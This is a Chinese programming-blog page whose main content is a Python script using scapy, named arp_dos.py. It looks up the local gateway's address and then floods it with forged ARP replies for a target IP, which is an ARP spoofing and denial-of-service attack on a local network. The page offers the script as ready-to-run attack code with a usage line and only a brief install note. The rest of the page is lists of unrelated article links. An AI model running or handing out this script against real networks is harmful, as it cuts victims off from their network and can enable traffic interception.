python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python中requests模块的使用方法
Apr 08 Python
python内置函数:lambda、map、filter简单介绍
Nov 16 Python
python实现点对点聊天程序
Jul 28 Python
python dataframe向下向上填充,fillna和ffill的方法
Nov 28 Python
python字符串替换第一个字符串的方法
Jun 26 Python
python修改字典键(key)的方法
Aug 05 Python
Python 点击指定位置验证码破解的实现代码
Sep 11 Python
基于python3监控服务器状态进行邮件报警
Oct 19 Python
python快速排序的实现及运行时间比较
Nov 22 Python
基于Python实现简单学生管理系统
Jul 24 Python
python如何爬取网页中的文字
Jul 28 Python
python爬虫使用scrapy注意事项
Nov 23 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
PHP+Tidy-完美的XHTML纠错+过滤
2007/04/10 PHP
apache+php完美解决301重定向的两种方法
2011/06/08 PHP
php获取301跳转URL简单实例
2013/12/16 PHP
Yii安装与使用Excel扩展的方法
2016/07/13 PHP
PHP基于redis计数器类定义与用法示例
2018/02/08 PHP
初学js 新节点的创建 删除 的步骤
2011/07/04 Javascript
qTip2 精致的基于jQuery提示信息插件
2012/02/17 Javascript
jquery miniui 教程 表格控件 合并单元格应用
2012/11/25 Javascript
Js 代码中,ajax请求地址后加随机数防止浏览器缓存的原因
2013/05/07 Javascript
将Datatable转化成json发送前台实现思路
2013/09/06 Javascript
使用jquery实现以post打开新窗口
2014/03/19 Javascript
jquery实现导航固定顶部的效果仿蘑菇街
2014/10/22 Javascript
jQuery EasyUI Dialog拖不下来如何解决
2015/09/28 Javascript
简单解析JavaScript中的__proto__属性
2016/05/10 Javascript
Bootstrap基本样式学习笔记之表单(3)
2016/12/07 Javascript
bootstrap警告框示例代码分享
2017/05/17 Javascript
Vue中的scoped实现原理及穿透方法
2018/05/15 Javascript
JS异步错误捕获的一些事小结
2019/04/26 Javascript
VueJs里利用CryptoJs实现加密及解密的方法示例
2019/04/29 Javascript
微信小程序 wx:for遍历循环使用实例解析
2019/09/09 Javascript
js 将多个对象合并成一个对象 assign方法的实现
2020/09/24 Javascript
[01:13:17]Secret vs NB 2018国际邀请赛小组赛BO2 第二场 8.19
2018/08/21 DOTA
Python对数据库操作
2016/03/28 Python
python操作redis方法总结
2018/06/06 Python
python2与python3的print及字符串格式化小结
2018/11/30 Python
Python 通过requests实现腾讯新闻抓取爬虫的方法
2019/02/22 Python
python2和python3实现在图片上加汉字的方法
2019/08/22 Python
Python算法的时间复杂度和空间复杂度(实例解析)
2019/11/19 Python
Python如何生成xml文件
2020/06/04 Python
The Athlete’s Foot新西兰:新西兰最大的运动鞋零售商
2019/12/23 全球购物
一份Java笔试题
2012/02/21 面试题
告诉你怎样写创业计划书
2014/01/27 职场文书
元宵节晚会主持人串词
2014/03/25 职场文书
做一个有道德的人演讲稿
2014/05/14 职场文书
2015年世界环境日演讲稿
2015/03/18 职场文书
警用民用对讲机找不同
2022/02/18 无线电